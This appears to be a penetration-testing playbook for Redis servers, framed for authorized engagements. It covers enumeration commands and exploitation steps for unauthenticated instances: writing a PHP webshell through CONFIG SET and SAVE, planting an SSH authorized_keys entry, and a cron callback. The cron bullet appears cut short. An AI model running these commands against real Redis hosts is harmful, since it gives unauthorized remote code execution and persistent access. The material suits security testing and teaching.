pentesting-redis

name	pentesting-redis
description	Testing Redis in-memory data stores (default port 6379) for unauthenticated access, weak AUTH credentials, keyspace dumping, and the high-impact RCE primitives - module load (system.exec), webshell/cron write via CONFIG SET dir + dbfilename + SAVE, SSH authorized_keys write, Lua sandbox escape CVEs, and master-slave replication abuse - during authorized engagements.
domain	cybersecurity
subdomain	network-services-pentesting
tags	["penetration-testing","network-services","database","redis"]
version	1.0
author	xalgorix
license	Apache-2.0

Pentesting Redis (port 6379)

When to Use

• Default port 6379/tcp; Redis is a plain-text line protocol (optionally TLS), so nc and redis-cli both work directly.
• Banner/nmap shows redis and a version like Redis key-value store 4.0.9.
• Use whenever 6379 is reachable — Redis is unauthenticated by default and frequently exposed without a firewall.

Quick Enumeration

nmap --script redis-info -sV -p6379 <IP>
msfconsole -q -x 'use auxiliary/scanner/redis/redis_server; set RHOSTS <IP>; run; exit'

# Connect (text protocol)
nc -vn <IP> 6379
redis-cli -h <IP>            # apt-get install redis-tools
redis-cli -h <IP> info       # full instance info

Critical: Checks Most Often Missed

• Unauthenticated access — the #1 miss. By default Redis needs no credentials; info returns instance data instead of -NOAUTH Authentication required.
  • How to CONFIRM: redis-cli -h <IP> info returns server stats. If -NOAUTH is returned, creds are required (AUTH <user> <pass>; reply +OK = valid). Only password configured → username is default.
• CONFIG SET dir/dbfilename → webshell write — repoint the RDB save path to a webroot, set a key to PHP, and SAVE to write a shell.
  • How to CONFIRM: config set dir /var/www/html, config set dbfilename redis.php, set test "<?php system($_GET['c']);?>", save, then http://<IP>/redis.php?c=id.
• SSH authorized_keys write — write your public key into ~/.ssh/authorized_keys of the redis (or another) user and log in.
  • How to CONFIRM: config set dir /var/lib/redis/.ssh, config set dbfilename authorized_keys, set a spaced key, save, then ssh -i id_rsa redis@<IP>.
• Cron job write — write a crontab entry to (Ubuntu) or (CentOS) for a callback.